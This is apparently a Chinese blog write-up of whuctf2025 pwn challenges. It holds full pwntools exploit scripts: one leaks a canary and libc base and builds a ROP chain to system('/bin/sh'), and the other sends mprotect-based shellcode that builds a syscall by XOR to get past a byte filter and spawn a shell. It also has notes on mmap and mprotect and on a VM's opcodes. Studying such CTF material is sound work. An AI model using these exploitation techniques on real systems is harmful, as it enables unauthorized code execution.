whuctf2025-wp与复现

pwn


repeater

利用思路:

  1. 泄漏canary
  2. 泄漏泄漏调用程序主体的__libc_start_call_main+128函数地址
  3. 根据__libc_start_call_main+128地址和libc中固定的相对偏移计算出函数__libc_start_main函数地址,进而计算出libc基址
  4. 覆盖程序返回值,调用system拿到shell

泄漏出main函数返回地址:__libc_start_call_main函数地址

根据相对偏移计算出libc_base



exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
import os
context(arch = 'amd64',os = 'linux',log_level = 'debug')
if os.environ.get("ZELLIJ") == "0":
context.terminal = [
"zellij",
"action",
"new-pane",
"-d",
"right",
"-c",
"--",
"bash",
"-c",
]

exe = ELF("./pwn")
libc = ELF("./libc.so.6")

def conn():
if args.LOCAL:
io = process([exe.path])
elif args.GDB:
io = gdb.debug([exe.path])
else:
io = remote("125.220.147.47", 49357)
# 125.220.147.47:49357
return io

def dbg(cmd=""):
if args.LOCAL:
gdb.attach(io, cmd)
pause()

def choice(i):
io.sendlineafter(b'3. exit', str(i).encode())

def main():
global io
io = conn()

choice(1)
payload = b'A'* 0x18 + b'B'
io.send(payload)
choice(2)

io.recvuntil(b'B')
cana_bytes = io.recv(7)
log.success(f'cana_bytes: {cana_bytes}')

# ------------------------- canary -------------------------


payload = b'A'* 0x20 + b'deadbeef'
choice(1)
io.send(payload)
choice(2)
# dbg('b')

io.recvuntil(b'deadbeef')
data = io.recvuntil(b'\x7f')
pie_call_main = u64(data.ljust(8, b'\x00'))
call_main = pie_call_main - 128
libc_base = call_main + 0xb0 - libc.symbols['__libc_start_main']

# ------------------------- libc -------------------------


sys = libc_base + libc.symbols['system']
bin = libc_base + next(libc.search(b'/bin/sh'))



pop_rdi_offset = 0x000000000002a3e5
pop_rdi = libc_base + pop_rdi_offset


payload = b'A'* 0x18 + b'\x00' + cana_bytes + b'deadbeef' +p64(pop_rdi+1) + p64(pop_rdi) + p64(bin) + p64(sys)
choice(1)
io.send(payload)

choice(3)
io.interactive()


if __name__ == "__main__":
main()

刚开始canary地址偏移写错了,刚好也能泄漏,我以为那就是canary,直接卡了我一早上


shell_for_shell

mmap()函数
linux系统中的一个函数,用于将文件或设备映射到内存中,从而允许程序通过内存访问文件内容,而不需要使用传统的文件I/O操作(readwrite

1
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset)

addr:
指定映射的内存起始地址。
如果为NULL,系统会自动选择一个合适的地址
如果指定了地址,flags中需要包含MAP_FIXED
length:
映射内存区域的访问权限,可以是以下值的组合
PROT_NONE:不能访问
PROT_READ:可读
PROT_WRITE:可写
PROT_EXEC:可执行
flags
指定映射的类型和行为
有私有映射,共享映射,匿名映射
fd
文件描述符
可由open返回
offset
文件映射的起始偏移量

返回值:
返回映射的内存地址


1
int mprotect(void* addr, size_t len, int prot)

addr:

  • 指向需要修改权限的内存区域的起始地址
  • 该地址必须是页面大小的整数倍(如果传参不是页面大小的整数倍的话就会失败!!)
    len:
  • 要修改权限的内存区域的长度(以字节为单位)
  • 实际修改的内存区域会向上取整到页面大小的倍数
    prot:
  • 指定新的访问权限,可以是以下标志的组合
    • PROT_NONE:禁止访问
    • PROT_READ:可读 1
    • PROT_WRITE:可写 2
    • PROT_EXEC:可执行 4

返回值:

  • 成功时返回0
  • 失败时返回-1,并设置errno以指示错误原因

\键可简化ida界面显示信息


编写shellcode

一开始我尝试找到能够绕过\x0f \x05检查并不需要在执行的过程中写指令就能拿到shell的shellcode
从网上看到了一个retfq+int 0x80的,结果是没有尝试成功

然后采用mprotect修改内存权限并在执行时写入异或逻辑运算得到的syscall指令的操作,成功拿到了shell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
import os
context(arch = 'amd64',os = 'linux',log_level = 'debug')
if os.environ.get("ZELLIJ") == "0":
context.terminal = [
"zellij",
"action",
"new-pane",
"-d",
"right",
"-c",
"--",
"bash",
"-c",
]

exe = ELF("./pwn")


def conn():
if args.LOCAL:
io = process([exe.path])
elif args.GDB:
io = gdb.debug([exe.path])
else:
io = remote("125.220.147.47", 49547)
# 125.220.147.47:49445
return io

def dbg(cmd=""):
if args.LOCAL:
gdb.attach(io, cmd)
pause()



def main():
global io
io = conn()

shellcode = asm(
'''
add al,al
mov rsp, 0x404068
mov rbp, 0x404068
'''
)

shellcode += asm(
'''
mov rdi, 0x404000
mov rsi, 0x1000
mov rdx, 7
mov rax, 0x401070
call rax
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax

mov r8,0x151f
xor r8,0x1010
push r8
call rsp
'''
)


print(shellcode)


io.sendlineafter(b"you will get the flag!",shellcode)
io.interactive()

if __name__ == "__main__":
main()




以下未解出 待复现


ezvm

0x0 到 0x7F 是数据段
0x80 到 0xFF 栈段
0x100 到 0x120
0x100 是 stack pointer

1
++i
push NextNum
2
pop s1
3
pop s1
pop s2
push s1+s2
4
pop s1
pop s2
push s1-s2
5 写内存 是从栈中写的
++i
pop s1
memory[nextNum] = s1
6
++i
push memory[nextNum]

7
sp ++
8
sp –
9
pop s1
pop s2
push s1*s2
0xa
pop s1
pop s2
push s1/s2
0xb
pop s1
pop s2
push s1%s2
0xc
pop s1
pop s2
push s1 & s2
0xd
pop s1
pop s2
push s1 | s2
0xe
pop s1
pop s2
push s1 ^ s2
0xF 栈顶取反
sp = ~sp

0x10 跳转到第nextNum条指令 (索引nextNum-1)
i = nextNum - 1
(nextNum是无符号数)

0x11 条件跳转
栈顶大于等于0
栈顶数据为0
跳转
i = nextNum -1
0x12
栈顶大于等于0
栈顶数据不为0
跳转
i = nextNum -1

逆向 + 实验几次 熟悉程序


控制写“内存”(全局数组) 控制索引next_opNum


another_shell

区别是开了pie

heap

house of apple



whuctf2025-wp与复现
http://example.com/2025/03/29/whuctf-2025/
作者
yvyvSunlight
发布于
2025年3月29日
许可协议